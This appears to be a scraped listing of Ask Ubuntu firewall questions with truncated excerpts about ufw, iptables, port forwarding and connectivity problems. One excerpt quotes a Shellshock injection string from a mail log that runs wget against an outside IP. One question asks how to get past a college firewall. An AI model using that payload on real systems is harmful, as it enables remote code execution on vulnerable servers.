a technological barrier designed to prevent unauthorized or unwanted communications between computer networks or hosts

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Shellshock attempt in maillog

I just crawled through my logs and have found about this: Oct 24 11:26:37 hostname postfix/cleanup[2532]: 86A1B7E00A3: message-id=() { :; }; wget 185.10.58.181/VULNERABLE; Oct 24 11:26:37 hostname ...
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What is missing in my webserver ufw firewall configuration?

sudo ufw enable sudo ufw logging on sudo ufw allow proto tcp from any to any port 9999 sudo ufw allow proto udp from any to any port 9999 sudo ufw allow 80 sudo ufw app apache sudo ufw app OpenSSH ...
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3.13.0-37-generic basic router repeatable issue - packet loss

I have two desktop PCs and I wish to use them as a simple router between two LAN segments. I am not using NAT, SNAT, DNAT, and all my iptables tables/chains policy are ACCEPT. With iptables wide open ...
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Iptables troubles

I used webwin for iptables management and reset the firewall over webmin (to clear out all the old stuff). I also disabled the feature Activate at book. After that I installed iptables-persistent for ...
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telnet: Unable to connect to remote host: Network is unreachable

I am not able to connect to gmail with telnet using any of the ports. I am using this command: telnet smtp.gmail.com 25 and it gives following error: Trying 74.125.68.108... Trying ...
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Make Proxy Server with arno-iptables-firewall

I am trying to configure arno-iptables-firewall to work with transparent squid but no success. browsing is ok using local configured proxy on the computer but can make the arno-iptables-firewall to ...
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If I turn on the Firewall I cannot connect to the internet

I run GUFW but even on any setting I cannot access the internet if its turned on. Why would this be? I also noticed in the "Listening" box that theres a lot of info going on which I don't understand ...
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Blocking time in request resources

I have this problem in my Ubuntu server 12.04.4: My page is loading too slow, and watching the NET tab from the firebug I can see many blocking time for all requests. There is some way to ...
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using ufw to block outgoing traffic to website

I want to block traffic to a specific domain e.g. mysite.com. I tried blocking the ip address of the site but it does not work: ufw deny from 0.0.0.0 to ip_address_of_site I am still able to acess ...
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How do I set up a firewall/iptables using rc.firewall?

I am new to Ubuntu and am having a bit of trouble getting my firewall set up for my Network Security class. We are set up with 3 virtual machines - a Gateway, a Server, and a Client. We are supposed ...
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UFW for OpenVPN

I want to configure ufw (uncomplicated firewall) for OpenVPN. Connections are only allowed through OpenVPN. Everything else should be blocked. So if OpenVPN is disconnected -> no internet! I found ...
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how to install mod_security apache2.4

I was looking at my logs yesterday, when I saw a bot roaming folders I have in my robots.txt file. I tried to block it with a rule in my UFW firewall, but this did not keep them out. So then I was ...
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ufw not blocking traffic

I have an apache2.4 webserver, and I am trying to block a malicious subnet using ufw. Here is the UFW setup: $ sudo ufw status verbose Status: active Logging: on (low) Default: deny (incoming), ...
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Multiple rate limits in ufw

I have set two rate limits in ufw: In summary: limit http to 120 requests in 60 seconds; and 600 requests in 600 seconds -A ufw-user-input -p tcp --dport 80 -m state --state NEW -m recent --set -A ...
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Whitelist IPs for ufw

I have set some rules in ufw to rate limit connections, as such: -A ufw-user-input -p tcp --dport 25 -m state --state NEW -m recent --set -A ufw-user-input -p tcp --dport 25 -m state --state NEW -m ...
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Ubuntu Server 14.04: Configuring ConfigServer Security & Firewall for Mediatomb

I am currently have issues with getting Mediatomb to work with CSF on my home network server. I have been able to get the Mediatomb server to work with CSF turned off. My Mediatomb web GUI is set to ...
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Shows :::18332 instead of 0.0.0.0:8332, what means that?

What means ::: in front of a port (where usually the IP should be) when doing netstat? It shows :::18332 instead of 0.0.0.0:18332 and I can't connect to that port from the outside. This is for ...
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webstorm website connecting remotely

I am new to Ubuntu and to webstorm so please bare with me if its very basic question. I am trying to connect to the website run by webstorm on Ubuntu from Windows 8.1 PC ...
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How do I find which OS layer (iptables, rp_filter, etc) is dropping a packet?

Let's say that I'm running a ping towards a machine and I see from tcpdump that the icmp echo reply is being received at the ethernet port but the ping program is not getting it. So I know that ...
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UFW behind a router blocks traffic from the outside world

I'm seeing [UFW BLOCK] entries in my logs, where SRC=173.194.67.16 DST=192.168.1.2. My box is behind a router, DST is my internal IP, SRC seems to some Google server and I don't understand how is it ...
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vino-server: local connection works but not remote connection

I would like to remotely take control over ma grandma's PC, where I installed lubundu 14.04.1. This is not a duplicate of this other question (I want to avoid teamviewer + see below). I configured ...
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network bridge not forwarding traffic from span port on router

I want to run several security network tools in LXC containers like ntopng, suricata, snort, etc. I hooked one of my server's NIC's up to a port that is spanned to my firewall... so basically this ...
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I have some questions about Firewall [closed]

So I am pretty new to Linux (With the exception of Android), and being use to the old ways of Windows pretty much all I had to do for Firewall was turn it on and forget about it. However with Ubuntu ...
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Processes in docker cannot connect with ufw enabled

I'm trying to setup a server to use ufw with docker (via dokku.) When ufw is enabled, I cannot open connections from one container to another. When it's disabled, I can connect fine. As an example, I ...
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Has Ubuntu some firewall activated by default?

Because I can't seem to connect to my ip-cam. And mnap produces alternating results if I use the cams IP address: Nmap scan report for 192.0.0.64 Host is up (0.00079s latency). Not shown: 991 closed ...
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How can I tease Sonicwall?

In my college, I can't use the web, because they use Sonicwall network firewalls How can I tease it? For I use all websites in my college? Please see the result when I access a website blocked ...
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Can't Connect to Apache2 Server From External Device (in LAN) Nor From External IP?

I forwarded ports 80 and 443 for my apache 2 server. However, if I: try connecting to the server via external IP or try connecting to the server from a local device via my local ip, I cannot gain ...
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Setting up an Ubuntu Server 14.04 Firewall. Can it Protect multiple pc's on a local network?

I am new to Ubuntu firewalls. I would like to setup an Ubuntu Firewall on computer #1 it can be connected wirelessly or by Ethernet. I have another ubuntu server running on computer #2 and windows 7 ...
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How to block parts of a website

I already use the hosts file to get rid of entire domains that are time sinks, but some websites that largely are wastes of time (eg reddit) have useful parts. So I'd like to allow ...
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what could be blocking port 5060 on my ubuntu 14.04?

I have a ubuntu 14.10, and am trying to telnet into it via port 5060 but I keep failing. I always get the message "Connection closed by foreign host". I checked my iptable, it is default policy to ...
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Port 80 apparently closed ubuntu 14.04

I'm installing a small server on the company where I work. I go to whatsmyip.org and it tells me it is 190.124.165.35. When I go to canyouseeme.org it tells me that the connection timed out for port ...
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captive portal and squid3 transparent mode

http://aryo.info/labs/captive-portal-using-php-and-iptables.html I did at practice. but squid (transparent mode should be) entered in the access.log s pages can not see. I use the following iptables ...
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Skype has stopped working on Ubuntu Studio 14.04.1

This is what Skype displays when I try to connect. I've tried reinstalling, but still no fix. When I sign in on my mobile phone it works, so I know it's an issue affecting only the desktop version.
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ipset with iptables-persistent

iptables-persistent was not reloading my rules at restart, and I realized the problem was that /etc/iptables/rules.v4 contained a --match-set referring to a set of rules created by ipset - which had ...
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The program 'iptables' is currently not installed

I am a newbie, so my apologies up front. I am trying to get DansGuardian installed (which I believe I have) and working. To get it working I need to filter IP traffic through the app via iptables. ...
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Refused connection of ssh

I installed openssh on my new Ubuntu14.04 server, turned on ssh, and enjoyed it after I finished installation. Every thing was fine; however, after just one night, I was blocked when using putty as ...
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Does spyware exist for ubuntu?

Someone I know said he had put spyware on my computer. Is he talking crap? I've been using Ubuntu 12.04 for nearly 3 years now and I've never seen any type of spyware, remote keyloggers or RATS ...
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Ethernet connection blocks some traffic while wifi works flawlessly

I'm not sure whether it's related, but I recently tried to reroute inbound traffic from a user-accessible port to port 80 following these instructions: http://serverfault.com/a/112798 Now, I can't ...
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find mac address of all connected systems [duplicate]

How can I find out how many system are connected to the local network and how can I get all IP and mac address of these systems. Is their any command/package to show the IP details? Can I use this ...
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how to block all tcp and udp and other protocol and only allow layer 2 communication?

sudo ufw disable sudo ufw default deny sudo ufw allow XXXX sudo ufw enable Does sudo ufw disable block layer 2 by default? How to block all TCP, UDP and other protocols, so only layer 2 ...
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Allowing web site through shorewall firewall

I'm fairly new to Linux and I've been following some guides to get a web server up and running. So far all is well with the web server and accessing it from the net. I've installed Shorewall firewall ...
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Differences between UFW and GUFW

From what I have been able to piece together, the firewall that comes with Ubuntu is iptables, which is very complicated, so an easier way to access the firewall is through UFW and GUFW. UFW is ...
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Why aren't these ufw rules working?

I'm trying to configure ufw to only allow connections to 3 ip addresses on my local network, and deny everything else. Here's the commands I'm using: yes | sudo ufw reset sudo ufw default deny sudo ...
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Can't find Printer in the Printing program Officejet 6500

I have the following problem: I can't find my HP Officejet 6500 Pro to connect it with my Ubuntu 12.04 laptop. Before it worked perfectly, but since I use an extra router I cant connect to my printer ...
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How do you view all of the banned IP's for Ubuntu 12.04 via the command line?

I can't seem to find a quick command to just view all the banned IP's on the server. Or is there a file I can just edit? I'm guessing fail2ban is the one that inputs all the IP's to ban. Where do I ...
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What are the IP addresses in my iptables chain FORWARD settings in a Dokku/docker setup?

I've been playing around with Dokku on DigitalOcean (following this guide) and I'm trying to understand current firewall settings. So here's my setup: Ubuntu 14.04 Dokku Docker (as part of Dokku) ...
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Firewall router

Ok I throw in the towel. Before posting I ran read untold website forums / examples, tried lots of commands so please don’t say ‘Google is your friend’  I want to setup an Ubuntu virtual pc as a ...
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Creating routes using iptables in ubuntu 14.04

I'm a newbie at ubuntu's administration although I've been using linux for a while just at user level. Let's show my problem. This is my network (only static IP addresses are used, for both private ...
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keep getting added to hosts.deny + iptables

I am confused to why this has started to happen. On my local network, if I click 10-20 apache/http links my server will decide to add me hosts.deny file and block me on iptables. Its not just ...
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How to open the ports on firewall in Ubuntu? [duplicate]

I'm pretty new to Ubuntu. I just want to open the most common ports namely FTP (port 20 TCP/UDP) HTTP (port 80 TCP/UDP) SMTP (port 25 TCP) ETC I've tried all the ways in iptables, ufw, and gufw. ...